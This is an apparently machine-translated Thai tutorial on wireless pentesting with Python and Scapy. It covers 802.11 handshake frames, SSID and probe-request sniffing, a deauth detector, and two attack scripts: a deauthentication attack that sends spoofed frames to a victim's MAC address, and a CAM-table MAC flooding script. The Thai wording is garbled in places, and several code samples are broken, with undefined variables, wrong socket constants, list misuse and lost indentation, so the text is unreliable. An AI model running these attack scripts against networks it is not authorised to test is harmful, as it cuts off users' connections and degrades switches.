Pentesting ของเครือข่ายไร้สาย

ระบบไร้สายมาพร้อมกับความยืดหยุ่นอย่างมาก แต่ในทางกลับกันก็นำไปสู่ปัญหาด้านความปลอดภัยที่ร้ายแรงเช่นกัน และสิ่งนี้กลายเป็นปัญหาด้านความปลอดภัยที่ร้ายแรงได้อย่างไร - เนื่องจากผู้โจมตีในกรณีของการเชื่อมต่อแบบไร้สายเพียงแค่ต้องมีสัญญาณที่จะโจมตีแทนที่จะมีการเข้าถึงทางกายภาพเหมือนในกรณีของเครือข่ายแบบใช้สาย การทดสอบการเจาะระบบไร้สายเป็นงานที่ง่ายกว่าการทดสอบบนเครือข่ายแบบใช้สาย เราไม่สามารถใช้มาตรการรักษาความปลอดภัยทางกายภาพที่ดีกับสื่อไร้สายได้หากเราอยู่ใกล้กันมากพอเราจะสามารถ "ได้ยิน" (หรืออย่างน้อยอแด็ปเตอร์ไร้สายของคุณก็สามารถได้ยิน) ทุกอย่างที่ไหลไปในอากาศ

ข้อกำหนดเบื้องต้น

ก่อนที่เราจะลงเรียนรู้เพิ่มเติมเกี่ยวกับการ pentesting ของเครือข่ายไร้สายขอให้เราพิจารณาถึงคำศัพท์และกระบวนการสื่อสารระหว่างไคลเอนต์และระบบไร้สาย

คำศัพท์ที่สำคัญ

ตอนนี้ให้เราเรียนรู้คำศัพท์ที่สำคัญที่เกี่ยวข้องกับการระงับเครือข่ายไร้สาย

จุดเชื่อมต่อ (AP)

จุดเชื่อมต่อ (AP) เป็นโหนดกลางในการใช้งานระบบไร้สาย 802.11 จุดนี้ใช้เพื่อเชื่อมต่อผู้ใช้กับผู้ใช้รายอื่นภายในเครือข่ายและยังสามารถใช้เป็นจุดเชื่อมต่อระหว่าง LAN ไร้สาย (WLAN) และเครือข่ายแบบต่อสาย ใน WLAN AP คือสถานีที่ส่งและรับข้อมูล

Service Set Identifier (SSID)

เป็นสตริงข้อความที่มนุษย์อ่านได้ยาว 0-32 ไบต์ซึ่งโดยพื้นฐานแล้วเป็นชื่อที่กำหนดให้กับเครือข่ายไร้สาย อุปกรณ์ทั้งหมดในเครือข่ายต้องใช้ชื่อที่คำนึงถึงตัวพิมพ์เล็กและใหญ่เพื่อสื่อสารผ่านเครือข่ายไร้สาย (Wi-Fi)

การระบุชุดบริการพื้นฐาน (BSSID)

เป็นที่อยู่ MAC ของชิปเซ็ต Wi-Fi ที่ทำงานบนจุดเชื่อมต่อไร้สาย (AP) มันถูกสร้างขึ้นแบบสุ่ม

หมายเลขช่อง

แสดงช่วงความถี่วิทยุที่ Access Point (AP) ใช้ในการส่งสัญญาณ

การสื่อสารระหว่างไคลเอนต์และระบบไร้สาย

สิ่งสำคัญอีกอย่างที่เราต้องเข้าใจคือกระบวนการสื่อสารระหว่างไคลเอนต์และระบบไร้สาย ด้วยความช่วยเหลือของแผนภาพต่อไปนี้เราสามารถเข้าใจสิ่งเดียวกัน -

กรอบ Beacon

ในกระบวนการสื่อสารระหว่างไคลเอนต์และจุดเชื่อมต่อ AP จะส่งเฟรมบีคอนเป็นระยะเพื่อแสดงสถานะ เฟรมนี้มาพร้อมกับข้อมูลที่เกี่ยวข้องกับ SSID, BSSID และหมายเลขช่อง

คำขอ Probe

ตอนนี้อุปกรณ์ไคลเอนต์จะส่งคำขอโพรบเพื่อตรวจสอบ AP ที่อยู่ในระยะ หลังจากส่งคำขอโพรบแล้วจะรอการตอบสนองของโพรบจาก AP คำขอ Probe มีข้อมูลเช่น SSID ของ AP ข้อมูลเฉพาะของผู้จำหน่ายเป็นต้น

การตอบสนองของ Probe

ตอนนี้หลังจากได้รับการร้องขอโพรบแล้ว AP จะส่งการตอบสนองของโพรบซึ่งมีข้อมูลเช่นอัตราข้อมูลที่รองรับความสามารถ ฯลฯ

คำขอรับรองความถูกต้อง

ตอนนี้อุปกรณ์ไคลเอนต์จะส่งกรอบคำขอการตรวจสอบสิทธิ์ที่มีข้อมูลประจำตัว

การตอบสนองการพิสูจน์ตัวตน

ในการตอบสนอง AP จะส่งกรอบการตอบกลับการตรวจสอบสิทธิ์เพื่อระบุการยอมรับหรือการปฏิเสธ

คำขอสมาคม

เมื่อการพิสูจน์ตัวตนสำเร็จอุปกรณ์ไคลเอนต์ได้ส่งเฟรมคำขอการเชื่อมโยงที่มีอัตราข้อมูลที่รองรับและ SSID ของ AP

คำตอบของสมาคม

ในการตอบสนอง AP จะส่งกรอบการตอบสนองที่เชื่อมโยงเพื่อระบุการยอมรับหรือการปฏิเสธ รหัสการเชื่อมโยงของอุปกรณ์ไคลเอ็นต์จะถูกสร้างขึ้นในกรณีที่ยอมรับ

การค้นหา Wireless Service Set Identifier (SSID) โดยใช้ Python

เราสามารถรวบรวมข้อมูลเกี่ยวกับ SSID ด้วยความช่วยเหลือของวิธีซ็อกเก็ตดิบและโดยใช้ไลบรารี Scapy

วิธีซ็อกเก็ตดิบ

เราได้เรียนรู้เรื่องนั้นแล้ว mon0จับแพ็คเก็ตไร้สาย ดังนั้นเราต้องตั้งค่าโหมดจอภาพเป็นmon0. ใน Kali Linux สามารถทำได้ด้วยความช่วยเหลือของairmon-ngสคริปต์ หลังจากเรียกใช้สคริปต์นี้แล้วจะมีการระบุชื่อการ์ดไร้สายwlan1. ตอนนี้ด้วยความช่วยเหลือของคำสั่งต่อไปนี้เราต้องเปิดใช้งานโหมดมอนิเตอร์mon0 -

airmon-ng start wlan1

ต่อไปนี้เป็นวิธีซ็อกเก็ตดิบสคริปต์ Python ซึ่งจะให้ SSID ของ AP แก่เรา -

ก่อนอื่นเราต้องนำเข้าโมดูลซ็อกเก็ตดังนี้ -

import socket

ตอนนี้เราจะสร้างซ็อกเก็ตที่จะมีสามพารามิเตอร์ พารามิเตอร์แรกบอกเราเกี่ยวกับอินเทอร์เฟซแพ็คเก็ต (PF_PACKET สำหรับ Linux เฉพาะและ AF_INET สำหรับ windows) พารามิเตอร์ที่สองบอกเราว่าเป็นซ็อกเก็ตดิบหรือไม่และพารามิเตอร์ที่สามบอกเราว่าเราสนใจแพ็กเก็ตทั้งหมด

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

ตอนนี้บรรทัดถัดไปจะผูกไฟล์ mon0 โหมดและ 0x0003.

s.bind(("mon0", 0x0003))

ตอนนี้เราจำเป็นต้องประกาศรายการว่างซึ่งจะเก็บ SSID ของ AP

ap_list = []

ตอนนี้เราต้องเรียกไฟล์ recvfrom()วิธีการรับแพ็คเก็ต สำหรับการดมกลิ่นต่อไปเราจะใช้ infinite while loop

while True:
   packet = s.recvfrom(2048)

บรรทัดถัดไปของโค้ดจะแสดงว่าเฟรมมีขนาด 8 บิตหรือไม่ซึ่งแสดงว่าบีคอนเฟรม

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

SSID sniffer พร้อม Scapy

Scapy เป็นหนึ่งในไลบรารีที่ดีที่สุดที่ช่วยให้เราสามารถสูดดมแพ็กเก็ต Wi-Fi ได้อย่างง่ายดาย คุณสามารถเรียนรู้รายละเอียด Scapy ได้ที่https://scapy.readthedocs.io/en/latest/. เริ่มต้นด้วยการเรียกใช้ Sacpy ในโหมดโต้ตอบและใช้คำสั่ง conf เพื่อรับค่าของ iface อินเทอร์เฟซเริ่มต้นคือ eth0 ตอนนี้เรามีโดมด้านบนแล้วเราต้องเปลี่ยนโหมดนี้เป็น mon0 สามารถทำได้ดังนี้ -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

ตอนนี้ให้เรานำเข้า Scapy เป็นไลบรารี นอกจากนี้การดำเนินการของสคริปต์ Python ต่อไปนี้จะทำให้เรามี SSID -

from scapy.all import *

ตอนนี้เราจำเป็นต้องประกาศรายการว่างซึ่งจะเก็บ SSID ของ AP

ap_list = []

ตอนนี้เราจะกำหนดฟังก์ชันที่ชื่อ Packet_info()ซึ่งจะมีตรรกะการแยกวิเคราะห์แพ็กเก็ตที่สมบูรณ์ มันจะมีอาร์กิวเมนต์ pkt

def Packet_info(pkt) :

ในคำสั่งถัดไปเราจะใช้ตัวกรองซึ่งจะส่งผ่านเท่านั้น Dot11การจราจรซึ่งหมายถึงการรับส่งข้อมูล 802.11 บรรทัดที่ตามมายังเป็นตัวกรองซึ่งส่งผ่านการรับส่งข้อมูลที่มีเฟรมประเภท 0 (แสดงถึงเฟรมการจัดการ) และประเภทย่อยของเฟรมคือ 8 (แสดงถึงเฟรมบีคอน)

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

ตอนนี้ฟังก์ชั่นการดมกลิ่นจะดมข้อมูลด้วย iface มูลค่า mon0 (สำหรับแพ็กเก็ตไร้สาย) และเรียกใช้ไฟล์ Packet_info ฟังก์ชัน

sniff(iface = "mon0", prn = Packet_info)

สำหรับการใช้งานสคริปต์ Python ข้างต้นเราต้องใช้การ์ด Wi-Fi ที่สามารถสูดอากาศโดยใช้โหมดมอนิเตอร์

การตรวจจับไคลเอนต์ Access Point

สำหรับการตรวจจับไคลเอนต์ของจุดเชื่อมต่อเราจำเป็นต้องจับเฟรมคำขอโพรบ เราสามารถทำได้เช่นเดียวกับที่เราทำในสคริปต์ Python สำหรับ SSID sniffer โดยใช้ Scapy เราจำเป็นต้องให้Dot11ProbeReqสำหรับการจับกรอบคำขอโพรบ ต่อไปนี้เป็นสคริปต์ Python เพื่อตรวจจับไคลเอนต์ของจุดเชื่อมต่อ -

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

การโจมตีแบบไร้สาย

จากมุมมองของเพนเทสเตอร์จำเป็นอย่างยิ่งที่จะต้องทำความเข้าใจว่าการโจมตีแบบไร้สายเกิดขึ้นได้อย่างไร ในส่วนนี้เราจะพูดถึงการโจมตีไร้สายสองประเภท -

  • de-authentication (deauth) โจมตี

  • การโจมตีด้วยน้ำท่วมของ MAC

de-authentication (deauth) โจมตี

ในกระบวนการสื่อสารระหว่างอุปกรณ์ไคลเอนต์และจุดเชื่อมต่อเมื่อใดก็ตามที่ไคลเอนต์ต้องการยกเลิกการเชื่อมต่อจำเป็นต้องส่งเฟรมการยกเลิกการพิสูจน์ตัวตน เพื่อตอบสนองต่อเฟรมนั้นจากไคลเอนต์ AP จะส่งเฟรมการยกเลิกการพิสูจน์ตัวตนด้วย ผู้โจมตีสามารถได้รับประโยชน์จากกระบวนการปกตินี้โดยการปลอมแปลงที่อยู่ MAC ของเหยื่อและส่งเฟรมการพิสูจน์ตัวตนไปยัง AP ด้วยเหตุนี้การเชื่อมต่อระหว่างไคลเอนต์และ AP จึงหลุด ต่อไปนี้เป็นสคริปต์ Python เพื่อดำเนินการโจมตี de-authentication -

ก่อนอื่นให้เรานำเข้า Scapy เป็นไลบรารี -

from scapy.all import *
import sys

คำสั่งสองข้อต่อไปนี้จะป้อนที่อยู่ MAC ของ AP และเหยื่อตามลำดับ

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

ตอนนี้เราต้องสร้างกรอบการพิสูจน์ตัวตน สามารถสร้างได้โดยดำเนินการคำสั่งต่อไปนี้

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

บรรทัดถัดไปของรหัสแสดงจำนวนแพ็กเก็ตทั้งหมดที่ส่ง นี่คือ 500 และช่วงเวลาระหว่างสองแพ็คเก็ต

sendp(frame, iface = "mon0", count = 500, inter = .1)

เอาต์พุต

เมื่อดำเนินการคำสั่งดังกล่าวจะสร้างผลลัพธ์ต่อไปนี้ -

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

ตามด้วยการสร้าง deauth frame ซึ่งส่งไปยังจุดเชื่อมต่อในนามของไคลเอนต์ สิ่งนี้จะทำให้การเชื่อมต่อระหว่างกันถูกยกเลิก

คำถามคือเราจะตรวจจับการโจมตี deauth ด้วยสคริปต์ Python ได้อย่างไร การเรียกใช้สคริปต์ Python ต่อไปนี้จะช่วยในการตรวจจับการโจมตีดังกล่าว -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

ในสคริปต์ข้างต้นคำสั่ง pkt.subtype == 12 ระบุว่าเฟรม deauth และตัวแปร I ซึ่งกำหนดโดยทั่วไปจะบอกเกี่ยวกับจำนวนแพ็กเก็ต

เอาต์พุต

การดำเนินการของสคริปต์ด้านบนสร้างผลลัพธ์ต่อไปนี้ -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

ที่อยู่ MAC ทำให้เกิดการโจมตีอย่างท่วมท้น

การโจมตีที่อยู่ MAC ท่วมท้น (CAM table flood attack) เป็นการโจมตีเครือข่ายประเภทหนึ่งที่ผู้โจมตีที่เชื่อมต่อกับพอร์ตสวิตช์จะทำให้อินเทอร์เฟซสวิตช์ท่วมด้วยเฟรมอีเธอร์เน็ตจำนวนมากพร้อมที่อยู่ MAC ปลอมที่แตกต่างกัน CAM Table Overflow เกิดขึ้นเมื่อมีการไหลเข้าของ MAC แอดเดรสเข้ามาในตารางและถึงขีด จำกัด ตาราง CAM สิ่งนี้ทำให้สวิตช์ทำหน้าที่เหมือนฮับทำให้เครือข่ายมีทราฟฟิกที่พอร์ตทั้งหมด การโจมตีดังกล่าวเปิดตัวได้ง่ายมาก สคริปต์ Python ต่อไปนี้ช่วยในการเปิด CAM เช่นการโจมตีท่วม -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

จุดมุ่งหมายหลักของการโจมตีแบบนี้คือการตรวจสอบความปลอดภัยของสวิตช์ เราจำเป็นต้องใช้ความปลอดภัยของพอร์ตหากต้องการทำให้ผลกระทบจากการโจมตีของ MAC ท่วมน้อยลง